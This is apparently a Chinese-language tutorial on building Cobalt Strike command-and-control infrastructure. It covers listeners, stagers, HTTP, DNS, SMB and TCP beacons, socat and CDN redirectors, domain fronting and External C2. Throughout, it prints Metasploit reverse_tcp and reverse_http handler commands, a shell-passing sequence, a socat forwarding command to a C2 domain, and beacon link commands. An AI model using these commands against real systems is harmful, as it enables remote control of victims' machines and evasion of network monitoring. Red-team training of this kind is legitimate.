Infrastructure(基础建设)
0x01 listener management(监听器管理)
一个listener配置一个Cobalt strike payload,也只匹配一个payload控制器。在Cobal Strike中有如下三种监听器:
- egress:入口监听器
- peer-to-peer:通过父级payload使用
- alias:调用第三方的payload 处理器
添加listener时确保每一个都其对应的名称,名称很重要,因为这样便于团队的其他成员去使用它。 以下列出了你可以创建的监听器类型:
0x02 stager
stager是一个用来和C2建立连接并下载payload,然后执行payload的轻量级程序。
有时候目标环境限制了执行程序的大小,所以经常会制作比较轻量级的程序来执行payload,常见的有Powershell一句话。
stageless直接省略了下载payload的步骤,所以一般生成的stageless程序都是exe或者dll文件,相对stager来说要大得多,而且包含了一些特征。
在CS4中,stagers不再作为最流行的工具来使用,但是一些由用户驱动的攻击仍然使用stager。stager将不再对其控制端进行权限认证,因此stager将变得不安全。stager也变得脆弱了,如果它碰到了一些没有预期的情况时,可能stager会崩溃。这些stagers之所以还保留着是因为它们是为Metasploit框架服务的。stager的代码内容也是很容易被发现的,而且任何一种内存扫描器也应该能够发现它们。CS没有能力去在内存中清除这些特征或者是给他们添加混淆。
0x03 stager工作流程举例
通过打开一个带有宏的word文档来创建子进程,然后通过打开文档执行宏代码执行stager程序,接着stager将通过HTTP或HTTPS协议请求C2控制器,请求的URI上会带有一个校验值,在校验值通过检查后,服务器将会将payload传回,然后stager将开始执行该payload。
如果你的stager是请求到Metasploit Framework Handler上,那么你将获得一个不够健壮(immature)的payload。如果你是请求到Coballt Strike的web服务上,那么你将获得一个beacon payload。
Metasploit Framework作为控制器的话,payload需要配置为windows meterpreter reverse http 或者 reverse https。Metasploit的攻击流程也是一样的,发送GET请求,然后下载Cobalt strike beacon payload,所以Cobal Strike允许你使用一个Metasploit Framework生成的exp来传输Cobal Strike beacon。
另外,Cobal Strike还可以派生shell给Metasploit(前提是有个beacon shell)。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit
Metasploit 也可以派生shell给Cobal Strike(前提有一个meterpreter)
msf exploit(handler) > use exploit/windows/local/payload_inject
msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
msf exploit(payload_inject) > set DisablePayloadHandler true
msf exploit(payload_inject) > set LHOST 192.168.229.143
msf exploit(payload_inject) > set LPORT 1212
msf exploit(payload_inject) > set SESSION 1
msf exploit(payload_inject) > exploit
这样就可以从Cobal Strike传递一个session给Metasploit,也可以传递一个session从一个Cobal Strike实例给另外一个没有连接的Cobal Strike实例。
Cobal Strike是用foreign listener来实现配置payload handler参数的。
0x04 HTTP Beacon介绍
1. 配置HTTP Beacon:
可以设置连接到多个主机(域名、IPv4、IPv6都可以,IPv6需要标准格式[::])
配置代理(可选项):
配置完毕后在Attacks - Web Drive-by - Scripted Web Delivery菜单配置web服务:
点击launch后会生成powershell一句话,复制到目标主机运行这个powershell脚本:
Cobal Strike将会与http beacon建立连接:
2. HTTP Beacon传输过程
场景举例:一个C2控制器、一个运行了http beacon的目标主机
http beacon 向C2控制器发送GET请求,判断有无内容返回:
(1) 若C2无内容返回,那么beacon将会进行睡眠状态,之后beacon将会在一开始配置好的时间之后重新请求C2。
(2) 当C2返回了请求内容时,内容将会是一些被加密过的需要执行的payload。
当http beacon执行完payload之后需要将结果回传给Cobal Strike时,它将使用POST请求,请求内容为payload执行的结果被加密后的密文。
如果payload执行后没有输出结果,那么将不会发送POST请求。
HTTPS Beacon的用法和HTTP一样,只是HTTPS使用了SSL证书而已
0x05 Redirector(重定向器)
1. 介绍redirector
一般redirector设置在你的Cobal Strike实例和你的目标网络之间,redirector会将流量转发至你的Cobal Strike实例。redirector存在的意义是为了模糊你的Cobal Strike的Team server的位置,这相当于为你的Cobal Strike team server设置了多个IP地址。
你可以使用iptables
、socat
或者其他工具去转发流量到你的Cobal Strike Team server。命令如下:
socat TCP4-LISTEN:80,fork TCP4:[team server]:80
你也可以启用一个Apache或者Nginx服务作为你的Cobal Strike的反向代理来替代redirector的作用。
你还可以使用CDN,比如Amazon的Cloudfront来作为一个redirector转发https流量到你的Cobal Strike。
2. 使用socat实现一个redirector
环境说明:
- c2:secure.losenolove.com
- redirector:54.158.156.250, 34.207.207.199.101
直接访问http://54.158.156.250/bar ,然后在Cobal Strike的# 在54.158.156.250上执行如下命令 # 先安装socat sudo apt-get update && apt-get install socat #socat转发 sudo socat TCP4-LISTEN:80,fork TCP4:secure.losenolove.com:80
web log
上就可以看到访问记录了
Cobal Strike配置redirectors:
在HTTP HOSTS
里添加
3. 使用CDN实现一个redirector
CND Redirector要求如下
- 网站使用SSL证书
- 配置允许使用HTTP POST和GET方法
- 避免出现问题,需要在C2配置文件里设置允许使用HTTP GET方法下载任务和回传数据给Cobal Strike
- 禁用所有缓存选项(避免数据不转发到服务器)
- 清楚地知道你传输的内容
注:由于某些CDN(比如Cloudfront会修改cookie)在传输过程中可能会对HTTP header头部的内容进行修改。这本来没什么影响除非你的C2设置了通过HTTP headr的Cookie字段来传输数据给Cobal Strike。所以对于CDN转发的内容你得清楚地知道。
使用CDN Redirector有一个比较好的东西需要了解,那就是Domain Fronting(域前置),可以参考深信服社区的一篇文章Domain fronting域名前置网络攻击技术
实际效果是beacon向一个信誉度比较高的网站发送请求时,设置HTTP header里的Host为我们在CDN配置完毕后获得的一个CDN的二级域名(比如xxx.cloudfront.net),然后这个HTTP请求就会转发到CDN的地址,再转发到C2的地址。
如果目标主机使用了代理服务器向外界发送HTTP请求,那么在使用Domain Fronting时,代理服务器可能会检测到请求的URI和Host中的内容不一致,然后就会自动将Host的内容替换为URI中的域名,接着该请求就会发送给那个信誉度比较高的网站。然而如果你使用了HTTPS,一般就不会出现这个问题。(有些企业会对HTTPS流量进行监测,如果被监测发现了,Host头还是有可能会被纠正)
然而现在有些CDN自己开始对SSL流量进行监测去避免Domain Fronting。但是使用SSL协议传输,严格地说是使用TLS协议传输的数据包中HTTP协议的外层有一层SNI(Server Name Indication),SNI告诉了CDN这个HTTPS请求应该发给谁(实际SNI的值与Host的内容一致),然后CDN监测到了就会纠正这个HTTPS请求
# SNI举例:
Extension: server_name
Type: server_name (0x0000)
Length: 19
Server Name Indication extension
Server Name list length: 17
Server Name Type: host_name (0)
Server Name length: 14
Server Name: www.github.com
现在如果你想做Domain Fronting
,那么可以直接在添加Listener的时候设置HTTP Host Header
(可以参考0x04添加Listener那张图)。
0x06 Server Consolidation(巩固服务器)
- 在Cobal Strike4中,你可以定义多个egress listener(相当于内网入口)
- HTTP Port(Bind)用于以下场景:
Redirector
使用80端口,HTTP C2则使用另外一个端口(即当前设置项的内容),实际流量是从Redirector的80端口进入,然后再转发到你设置的这个listener绑定的端口 - 现在每一个listener都有一个可修改的的配置文件
- 现在可以配置多个TCP和SMB listener了
0x07 DNS Beacon
1. 介绍DNS Beacon
DNS beacon是通过DNS解析来访问Cobal Strike Team Server的,所以运行Cobal Strike Team Server的服务器需要关闭本地的,运行Beacon的主机会将beacon的标识符伪装成一个子域名。
DNS Beacon举例:
- DNS Beacon向本地DNS缓存查询是否有域名
1234.profiles.losenolove.com
的解析记录 - 本地缓存未查询到时,本地DNS服务器将会向根服务器请求解析该域名,根域名服务器发现域名是
.com
的域名,便指示本地DNS服务器去.com
域名服务器查询 .com
服务器收到解析请求后将解析请求转发给网站注册的域名服务器(此处是godaddy)- 网站注册的域名服务器再将解析请求转发给
losenolove.com
的网站服务器(Cobal Strike Team Server
) Cobal Strike Team Server
收到解析请求后检查是否存在与该域名相关的任务在运行,如果有,通常情况下Team Server会将payload放置到响应内容中返回给本地DNS服务器,本地DNS服务器再转给DNS Beacon;- DNS Beacon执行完相关命令后,将数据加密后再放置到一个子域名中(类似
1234.profiles.losenolove.com
中的1234),然后再对该子域名发送DNS解析请求
这里相比CS3而言,CS4的DNS Beacon可以设置
Redirector
。
DNS Stager host
可以用于设置Redirector
,Port(Bind)
可以用于redirector的其他端口(默认为53端口),而Cobal Strike Team Server
则使用53端口
鉴于HTTP可能存在无法访问的风险,新的DNS Beacon将不再使用HTTP通道,即不再使用HTTP下载Payload,默认将使用dns-txt
通道通过DNS txt记录解析传输至Cobal Strike Team Server,然后通过DNS A请求返回payload。在Beacon的操作终端上可以切换通道(channel)。但是DNS请求内容和返回内容限制了长度,所以dns-txt会最大化使用域名长度(根据配置设定),dns-txt
也是相对而言最好的。而dns和dns6则会对这种域名进行截断,因为在某些网络里,非常长的域名将会被自动拦截。
2. 实现一个DNS Beacon
准备工作:
- 申请一个域名并创建一个A记录给你的Cobal Strike Team Server(即域名解析为IP)
- 创建一个NS记录给你申请的域名(解析子域名)
实例举例:
Team Server域名:malwarec2.losenolove.com
创建一个DNS Beacon listener:
linux下可使用dig +trace [域名]
查看域名的解析过程
在目标主机执行powershell一句话执行DNS Beacon,Team Server结果如下:
界面上没有主机信息显示是因为没有发送测试数据,可以直接右键点击Interact
进行交互后获得主机信息。可以使用sleep 5
修改心跳时间(默认1min)
DNS通道是一个被限制数据大小的通道,如果需要传输大文件,那么可能需要通过发起多次DNS解析请求来传输,比如执行截图命令、执行Mimikatz,这将消耗很长时间。
0x08 SMB Beacon
1. 介绍SMB Beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中通过445端口进行传输。
2. 创建SMB Beacon Listener
3. 连接和断连SMB Beacon
在Beacon控制台上输入link [host] [pipe name]
命令进行连接Beacon操作,输入unlink [host] [pid]
命令进行断连Beacon操作。如果你断开了当前Beacon的连接,那么它与它的子级Beacon也会断开连接。而这个子级Beacon将会进入到一个等待父级Beacon连接的状态。当你连接到一个Beacon时,可能会出现错误代码提示,上图举例说明了几个。
错误代码 | 名称 | 描述 |
---|---|---|
2 | File Not Found | 没有可以连接的Beacon |
5 | Access is Denied | 你没有权限连接到这个Beacon/这个命名管道,如果是在远程主机上,那么你的access token可能无效或者没有权限访问,也可能是该管道被系统锁定了 |
53 | Bad Netpath | 说明Beacon与目标服务器并没有建立通信关系,只能说明目标服务器没有任何响应给你 |
3. 创建一个SMB实例
接着上面的DNS Beacon执行如下操作:
创建一个Cobal Strike Listener:
执行权限提升:
payload将会通过DNS Beacon传输并执行。
如果想要图形化地查看Beacon的关系,可以点击Cobal Strike - Visualization > Pivot Graph进行查看
0x09 TCP Beacon
1. 介绍TCP Beacon
TCP Beacon和SMB Beacon很像,它也可以被一个父级Beacon所控制,父级Beacon可以是TCP Beacon,也可以是SMB Beacon。这里的Bind to localhost only
用于你需要使用TCP Beacon进行主机渗透的权限提升或者横向渗透的情况。
2. 连接和断开Beacon
# 连接到一个TCP Beacon
connect [host] [port]
# 断连一个TCP Beacon,断连后将进入一个等待连接的状态
unlink [host] [pid]
3. 实例演示TCP Beacon
基于之前的DNS Beacon
创建Listener:
DNS Beacon执行Spawn as
手动设置
payload也是通过DNS Beacon传输的
橙色的线代表连接的是SMB Beacon,蓝绿色的线则代表TCP Beacon
0xA External C2
1. 介绍External C2
ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许用户根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。
- 第三方控制器:负责创建与Cobalt Strike TeamServer的连接,并使用自定义C2通道与目标主机上的第三方客户端进行通信。
- 第三方客户端:负责使用自定义的C2通道与第三方控制器进行通信,并将命令中转到SMB Beacon。
- SMB Beacon:在受害者机器上运行的标准Beacon。
深入学习可参考
- 深入探索Cobalt Strike的ExternalC2框架
- external C2官方帮助文档
2. 实例演示
此处使用官方示例程序进行演示,具体程序编译过程此处省略。
创建监听器:
windows执行编译好的程序连接Cobalt Strike Team Server:example.exe 54.80.166.26 2222
Cobalt Strike Team Server收到Session: